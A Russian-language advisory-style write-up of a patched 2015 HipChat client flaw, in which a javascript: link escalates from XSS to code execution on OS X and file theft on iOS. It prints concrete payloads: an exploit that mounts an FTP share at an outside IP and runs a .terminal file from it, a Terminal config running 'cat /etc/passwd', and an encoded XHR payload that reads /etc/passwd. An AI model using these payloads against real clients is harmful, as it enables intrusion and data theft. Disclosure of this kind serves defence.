Полный набор уязвимостей в HipChat — от XSS до RCE

Содержание статьи

CVSSv2

N/A

BRIEF

Дата релиза: 12 ноября 2015 года
Автор: Matt Austin
CVE: N/A

Atlassian HipChat представляет собой веб-сервис для общения как внутри команды, так и один на один. Причина его популярности — плотная интеграция с остальными продуктами Atlassian, а также с другими популярными сервисами для разработчиков (GitHub, Heroku и подобными).

Для рендеринга таких объектов, как изображения, видео и смайлы, клиент HipChat использует встроенный движок WebKit. В клиентах для OS X, Windows и iOS при обработке URL-адресов текст, содержащий javascript:, неправильно конвертируется и превращается в ссылки. Несмотря на то, что это обычная уязвимость типа XSS, в нашем случае она, благодаря тому что позволяет получить доступ к локальным файлам, приводит к удаленному выполнению кода.

Клиент изучает входящие сообщения на наличие данных, которые нужно обработать. К примеру, он поддерживает популярные протоколы, такие как http://, ftp:// и file://. Помимо этого, парсер обрабатывает любую конструкцию типа любое_слово:// или любое_слово:/любое_слово и превращает ее в кликабельную ссылку.

В связи с этим возникает небольшая проблема: так как обработчик ждет символ / после двоеточия, то наш JavaScript-код будет начинаться с /. Решение — добавить второй слеш и символ перевода на новую строку. В результате мы получим строку с комментарием и за ним строку с нашим кодом.

javascript://some_comment%0aANY_JAVASCRIPT

Продолжим анализ. Когда мы кликаем ссылку, HipChat пытается ее открыть с помощью браузера, установленного по умолчанию. Это происходит, потому что ссылка передается операционной системе. То есть, нажав на ссылку вида http://..., мы в большинстве случаев откроем ее в веб-браузере. Но что произойдет с file://? Система запустит его. В итоге мы можем с помощью XSS выполнить приложение.

file:///Applications/Calculator.app

К сожалению, это будет работать только с приложениями на удаленном компьютере и не позволяет нам передать аргументы.

EXPLOIT

Получается, что нам нужно запустить или собственное приложение, или скрипт, то есть необходим файл, который можно контролировать и который находится в известном месте.

В этом нам поможет особенность обработки FTP-ссылок. Если такая ссылка содержит имя пользователя и пароль, то OS X, к примеру, автоматически подключится к FTP и смонтирует его как отдельный раздел.

Соединяемся, к примеру, с ftp://anonymous:x@104.131.88.251/. В случае успеха получим file:///Volumes/104.131.88.251/.

В итоге получим следующий эксплоит:

javascript://comment
location.href="ftp://anonymous:x@104.131.88.251/";
window.setTimeout(function(){location.href="file:///Volumes/104.131.88.251/hack.terminal";},5000)
Пример успешного запуска эксплоита для уязвимости в HipChat на OS X

Файл с расширением terminal используется не зря. У приложения Terminal.app есть файл с настройками с возможностью указать команду запуска. Это нужно для выполнения чего-либо в обход некоторых требований (права выполнения, различные подписи кода) в стандартных shell-скриптах. Hack.app также находится в этой директории и будет выполнен.

<dict>
  <key>WindowTitle</key>
  <string>Hacked!!!</string>
  <key>CommandString</key>
  <string>
    cat /etc/passwd;
    osascript -e 'display dialog "You just got hacked!"'
  </string>
...

На мобильных же устройствах мы имеем XSS, но не выполнение кода. С помощью XSS мы можем выполнить XHR-запрос к локальным файлам системы, используя file://. А воспользовавшись недоработками в Same Origin Policy встроенного движка WebKit, сможем отправить на удаленный адрес второй AJAX-запрос с нужными нам данными. Это позволяет атакующему украсть любые локальные документы, такие как файлы с настройками, кешированные файлы, cookies или логи чатов. Это работает как в iOS, так и в OS X.

Закодированная ссылка:

javascript://comment%0a%72%3d%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%0a%72%2e%6f%70%65%6e%28%27%47%45%54%27%2c%27%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64%27%2c%66%61%6c%73%65%29%3b%0a%72%2e%73%65%6e%64%28%6e%75%6c%6c%29%3b%0a%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%27%63%68%61%74%5f%74%65%78%74%27%29%2e%69%6e%6e%65%72%48%54%4d%4c%3d%72%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b

Оригинальный текст:

javascript://comment[\r\n]
r=new XMLHttpRequest();
r.open('GET','file:///etc/passwd',false);
r.send(null);
document.getElementById('chat_text').innerHTML=r.responseText;
Раскрытие файлов в HipChat-клиенте для iOS-устройств

Автор также опубликовал демонстрационное видео, а все указанные выше скрипты доступны на GitHub.

TARGETS

Протестировано на Atlassian HipChat OS X 3.0.6 (132) и iOS 2.3.3 (20307). В версиях ниже и под другие платформы также возможно совершить атаку.

SOLUTION

Есть исправление от производителя.

Борис dukeBarman Рютин: Известный реверсер, докладчик на множестве конференций, постоянный автор «Хакера» и большой фанат вселенных Blizzard :) В данный момент работает аналитиком в компании "Digital Security" (@DSecRU) и ведёт блог http://dukebarman.pro.
Похожие материалы